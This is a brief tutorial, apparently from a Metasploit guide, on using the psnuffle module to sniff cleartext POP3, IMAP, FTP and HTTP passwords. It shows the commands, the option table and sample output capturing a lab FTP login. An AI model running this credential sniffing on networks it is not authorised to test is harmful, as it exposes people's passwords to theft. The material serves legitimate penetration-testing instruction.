Password Sniffing with Metasploit
Max Moser released a Metasploit password sniffing module named psnuffle that will sniff passwords off the wire similar to the tool dsniff. It currently supports POP3, IMAP, FTP, and HTTP GET. More information is available on his blog.
Using the psnuffle module is extremely simple. There are some options available but the module works great “out of the box”.
msf > use auxiliary/sniffer/psnuffle msf auxiliary(psnuffle) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- FILTER no The filter string for capturing traffic INTERFACE no The name of the interface PCAPFILE no The name of the PCAP capture file to process PROTOCOLS all yes A comma-delimited list of protocols to sniff or "all". SNAPLEN 65535 yes The number of bytes to capture TIMEOUT 1 yes The number of seconds to wait for new data
There are some options available, including the ability to import a pcap capture file. We will run the psnuffle scanner in its default mode.
msf auxiliary(psnuffle) > run [*] Auxiliary module execution completed [*] Loaded protocol FTP from /usr/share/metasploit-framework/data/exploits/psnuffle/ftp.rb... [*] Loaded protocol IMAP from /usr/share/metasploit-framework/data/exploits/psnuffle/imap.rb... [*] Loaded protocol POP3 from /usr/share/metasploit-framework/data/exploits/psnuffle/pop3.rb... [*] Loaded protocol URL from /usr/share/metasploit-framework/data/exploits/psnuffle/url.rb... [*] Sniffing traffic..... [*] Successful FTP Login: 192.168.1.100:21-192.168.1.5:48614 >> victim / pass (220 3Com 3CDaemon FTP Server Version 2.0)
There! We’ve captured a successful FTP login. This is an excellent tool for passive information gathering.